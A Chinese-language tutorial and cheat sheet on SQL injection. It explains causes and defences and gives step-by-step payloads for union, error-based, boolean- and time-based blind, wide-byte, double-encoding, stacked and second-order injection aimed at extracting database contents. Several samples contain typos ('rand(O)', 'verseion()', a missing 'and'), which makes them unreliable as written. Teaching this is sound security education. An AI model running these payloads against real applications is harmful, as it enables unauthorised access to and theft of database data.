一篇SQL注入漏洞汇总,更新中…… 如有缺陷 望大佬指正
SQL注入产生的原因?
当程序执行逻辑时没有对用户输入的参数做过滤处理,使参数直接与后台数据库产生逻辑交互,即SQL注入
黑客就可以利用各种SQL注入的方法 获取数据库敏感信息
当Web应用向后台数据库传递SQL语句进行数据库操作时。如果用户输入的SQL语句没有经过严格的执行过滤且能导致非法格式正常执行并输出数据库信息,即为SQL注入。
在有与数据库产生交互的地方,都有可能产生SQL注入漏洞。
SQL注入的危害?
- 泄露数据库敏感信息
- 获取目标服务器控制权
SQL注入常见数据类型 字符型(String)数值型(Int)GET POST cookie型
- 字符型
- 数字型
- 盲注
- 显错注入
- GET型注入
- POST型注入
- Cookie型注入
- Session型注入
- Header注入
SQL 注入常见分类:
- 盲注
- 报错注入
- GET POST注入
- Cookie Session型注入
SQL 特殊注入分类:
- 宽字节注入
- HTTP头注入(header注入)
- 二次编码注入
- 堆叠注入
- 二次注入
SQL注入常见防御方法
- 对用户输入的参数做严格过滤处理
- PDO 预处理数据库对象
- PHP中可以使用特殊转义字符函数 mysql_real_escape_string()
- 黑名单防御和白名单防御
- 黑名单防御:sql注入中 过滤 union select 和 information_schema 等敏感字符
- 白名单防御:sql注入中 验证id参数是否是整形 只允许传入数字型参数
MySQL增删改查基础语句
- 增 创建表
create database database_name;
create table table_name(
id int,
username varchar(100),
password varchar(100)
);
- 删 删除数据库内容
drop database database_name;
drop table table_name;
delete from table_name where id=x;
delete from table_name where username='username';
- 改 增加更新数据库数据表
insert into table_name(id,username,password) VALUES ('id','user','pwd');
update table_name set username='KIO' where id=1';
-- 把id=1这一行的username的值改为KIO
use database_name;
- 查 查询数据库内容
--查询所有数据库
show databases;
--查询所有数据表
show tables;
--查询表内所有内容
select * from table_name;
--条件查询指定列内容
select id author from table_name;
--条件查询所有内容
select * from table_name where id=5;
- 导出数据库
mysqldump -u username -p sql_file_name>[路径] 重命名.sql
- 导入数据库
1. source [路径]file_name.sql;
2. 复制粘贴
回显注入什么是回显注入?
联合回显注入是通过联合查询的方式,利用SQL注入漏洞,获取回显位
通过回显位,执行闭合SQL查询语句 以获取数据库敏感信息的操作
- 判断数据库数据类型
?[参数func] 1' and 1='2# //字符型
?[参数func] 1 and 1=2# //数字型
通过页面反响 判断正确的数据类型 一般and后面有反应的语句即为当前类型
任何SQL注入前都需要判断SQL数据类才能对症下药,白盒测试中可以通过查看源代码判断
- 判断当前注入点 表列数
?[null]' order by 3# //字符型
SQL注入常用注释符 --+ #
- 获取显示位置
?[null]' union select 1,2,3#
- 获取当前数据库名
?[null]' union select 1,database(),3#
SQL注入常用函数名
// database() 查询当前数据库名
// user() 查询当前数据库用户名
// version() 查询当前交互的数据库信息或版本
显位在2 即在2处查询数据库名
- 获取所有数据库名
?[null]' union select 1,group_concat(schema_name),3 from information_schema.schemata#
SQL注入常用函数名
# group_concat() 将查询所有行的内容 以一行展示
- 判断数据库名 指定想要查询的表名
?[null]' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='databasename'#
# group_concat() 将查询所有行的内容 以一行展示
# table_name 表名
# tables 数据库所有表
# table_schema 查询的数据库名
- 根据数据表名查询所有的关键列
?[null]' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='tablename' table_schema='databasename'#
# group_concat() 将查询所有行的内容 以一行展示
# column_name 列名
# columns 数据库所有列
# table_schema 查询的数据库名
- 获取关键列名的内容
?[null]' union select 1,group_concat('value'),group_concat('value') from 'databasename.tables_name'#
# group_concat() 将查询所有行的内容 以一行展示
# column_name 列名
# columns 数据库所有列
# table_schema 查询的数据库名
报错注入什么是报错注入?
利用数据库机制,人为制造错误条件,使得查询结果能够出现在错误信息中
正常用户访问服务器发送id信息返回正确的id数据。报错注入是想办法构造语句,让错误信息中可以显示数据库的内容,如果能让错误信息中返回数据库中的内容,即实现SQL注入。
当正常的回显注入无法显示结果,就可以使用报错注入尝试获取结果
brint_r(mysql_error()); //显示报错信息 当开发者用了报错函数才能使用报错注入
报错注入常用函数
- extractvalue()
- updatexml()
- floor()
常见报错注入利用语句
?[null]' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
# 0x7e 十六进制编码 在这里起到定位作用
# and 连接语句
?[null]' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
# 0x7e 十六进制编码 在这里起到定位作用
# and 连接语句
?[null]' and (select 1 from(select count(*),concat((此处可替换任意SQL语句),floor(rand(O)*2))x from
information_schema.tables group by x)y)#
盲注什么是SQL盲注?
**盲打,手工盲打和sqlmap一把梭你选**<br />**普通SQL注入无回显结果,且无法进行报错注入的情况下选用盲注**<br />**使用布尔值判断输入的SQL语句是否与后台数据库产生反应**
SQL盲注的常见方法:
布尔盲注(通过布尔值,参数 观察页面变化判断)
时间盲注(观察浏览反响时间变化)
substr(database(),1,2) 从第一个字符开始,取2个字符
mid(database(),1,1) ** 从第一个字符开始,取1个字符
ascii() 把字符转换为ASCII码
ord('abcd') ** 获取字符的第一个ASCII值
left('string',length) 获取string从左边开始的length值
right('string',length) 获取string从右边开始的length值
length() ** 获取字符串长度
count()** 获取行数
布尔盲注的一般步骤:1.判断数据库版本
?id=1' and left(version(),1)='5'#
//获取version()开始最左边的length值判断是否是5版本
2.判断数据库名的长度 //使用逻辑运算符
?id=1' and length(database())='8'#
//判断数据库名'database()' 的字符串长度是否是8个字符
3.依次获取数据名
?id=1' and substr(database(),1,1)='v'#
# '1,1' 表示从第一个字符开始取一个字符
# 判断数据库名'database()'的第一个字符是不是v
?id=1' and left(database(),1)='s'#
# 判断数据库名'database()'最左边的第一个字符是不是s
?id=1' and ascii(substr(database(),1,1))=115#
# '1,1' 表示从第一个字符开始取一个字符
# 判断数据库名'database()'的第一个字符的ascii编码值是不是115 115=s
4.以上方法获取到数据库名
5.判断表总数
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4#
#判断表总数为4
6.依次获取数据库表的表名长度
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6#
# limit 0,1 取第一个表名 判断第一个表名长度为6个字符
# 通过limit 判断所有表名的长度
7.依次判断获取每个数据表名
?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101#
#通过ascii将mid查询的到第一个表的第一个字符转换为asscii码 这里101=e
时间盲注
为什么使用时间盲注?
网站注入无回显,无报错,且布尔盲注真假情况下,网站结果不会发生任何改变
可以使用时间盲注观察网页,分辨是否存在SQL注入
通过if判断语句,控制网站的响应时间 通过网站访问的响应时间来判断sql语句的正确性
时间盲注常用函数-
sleep() 函数
- sleep(10) //网站等待10秒后再响应
-
if(exp1,exp2,exp3) if语法
- 方法一:
- if(条件表达式,表达式为真时执行的内容,表达式为假时执行的内容)
- if((length())>8,sleep(10),null)
- 判断第一个表达式中的length>8 是否是正确的
- 如果是错误的返回结果为空
-
通常使用第一种方法
- 方法二:
- if(条件表达式,表达式为真时执行的内容,表达式为假时执行的内容)
- if((length())>8,null,sleep(10))
*网站本身需要响应时间 sleep 设定值要大
时间盲注一般步骤:- 判断数据库长度
?id=1' and (if((length(database())=8),sleep(10),null))#
# 断数据库名长度是否为8
# sleep(10) 结果为真时 页面刷新时间为10s
# null 结果为假时 返回结果为空值
- 依次判断数据库名
?id=1' and (if((ascii(substr(database(),1,1))=115),sleep(10),null))#
- 判断当前数据库版本
?id=1' and (if((left(verseion(),1)='5'),sleep(10),null))#
#通过获取版本号最左边的第一个字符是否为5去判断数据库版本
- 判断数据库中表的个数
?id=1' and (if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(10),null))#
#判断数据库中表的个数是否为4个
- 依次判断数据库中的数据表的内容
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1)))>100,sleep(5),1)--+
- 依次获取表中数据
?id=1' and if((ascii(substr((select 列名 from 表名 limit 0,1),1,1)))=97,sleep(5),1)--+
宽字节注入什么是宽字节?
宽字节是指两个字节宽度的编码技术
宽字节注入的原因?- MySQL的编码是gbk(gbk编码设置)
- 字符不占一个字节,占两个字节以上的为宽字节
- 宽字节注入是利用mysql的特性
- 数据库使用的gbk编码会将两个字节当作一个汉字
- 产生宽字节注入的前提:
- 后端代码对 ' 做了转义过滤addslashes() 将在'前加入\
- 数据库是gbk编码
\的URL编码是%5c 当用户输入%df 形成%df%5c
这时如果数据库使用了GBK编码 会自动将%df%5c识别成汉字,起到了绕过转义的效果,即存在宽字节注入。
因为汉字属于宽字节
?id=%df' order by 5#
# %df是url编码的特殊字符 也是一个宽字节
# 当数据库设置了GBK编码 系统执行逻辑语句时 会判定为一个正常字符
# 这就形成了宽字节注入
防御方法
- 数据库不使用GBK编码
- PDO 预处理数据库对象技术
HTTP头注入什么是HTTP头注入?
当用户提交的参数未做过滤且Web程序执行逻辑代码成功执行后,将用户提交的参数直接输出在HTTP响应头中,即HTTP头注入
- **User_Agent ** 浏览器版本信息
- **Referer ** 指明是从哪来的
- X-forwarder-For 客户端的真实IP
- Client-IP 客户端的IP
- Cookie 浏览器保存的凭据信息或session id
- 网站的请求消息的 请求头中 与 数据库 有交互
- 源代码中使用了PHP超全局变量$_SERVER['value']
二次编码注入什么是二次编码注入?
当一个程序执行逻辑语句时,程序如果使用了addslashes()防注入函数,且又使用了urldecode()或rawurldecode()解码函数时,会产生二次编码注入的风险。
在正常的PHP中,开发者们会使用addslashes()转义特殊字符函数,可以将引号 双引号 \ 等特殊字符转义,起到了防注入的效果。
urldecode()函数是对已编码的url进行解码,且PHP会在处理提交的数据之前先进行一次解码
即二次编码注入形成的过程->
正常逻辑: 用户输入id=1' 触发 addslashes()转义函数 会把引号转义成“\”
二次编码逻辑:
这时用户输入id=1%2527 ->
PHP自身解码 id=1%27 (因为%25是%的编码 只) ->**
urldecode()触发解码 id=1%27 == id=1'
成功注入**
?id=1%2527' union select 1,2,3#
二次编码注入产生的原因?
产生的前提:
使用了addslashes()等转义字符 又使用了urldecode()url解码函数
- 不使用urldecode()解码函数方法
- PDO预处理数据对象
- 为什么这个世界要使用编码?
- 比如网络通信中是减少冗余,提高网络速率
- 比如计算机,让计算机与计算机读懂
堆叠注入什么是堆叠注入?
当用户输入信息是,程序执行时并没有对用户输入的参数做过滤限制
且当使用多条或堆叠形式的SQL语句可以触发与数据库的交互并返回值,即存在SQL堆叠注入
使用了函数:** mysql_multi_query()**
产生原理:数据库引擎支持一次执行多条sql语句,用户就可以注入多条sql语句进行攻击
?id=1';show databases;show tables;……
防御方法
- 使用正确的函数
- 使用PDO预处理数据对象
二次注入什么是二次注入?
举个例子,二次注入是指一个数据库或文件内已存在恶意SQL注入语句。当用户进行读取操作时,数据库内存储的恶意SQL查询语句被成功执行,导致了注入漏洞。
用户输入的sql注入语句没有做过滤,被成功写入到数据库。当再次调用时,存储在数据库中的恶意数据执行SQL查询时,发生了SQL注入
产生思路:- 攻击者通过构造数据 的形式,在浏览器或其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了攻击者构造的SQL语句或者命令 。
- 服务端 应用程序会将攻击者提交的数据信息进行存储 ,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据 并对客户端请求做岀响应。
- 攻击者向服务端发送第二个与第一次不相同的请求数据信息。
- 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会査询数据库中已经存储的数据信息并处理,从而导致攻击者在第一次请求中构造的SQL语句或者命令在服务端环境中执行 。
- 服务端返回执行的处理结果数据信息,攻击者可以通过返回的结果数据 信息判断是否成功利用 二次注入漏洞。
- 对每一层产生注入点的数据库交互位置都做过滤限制
- PDO预处理绑定参数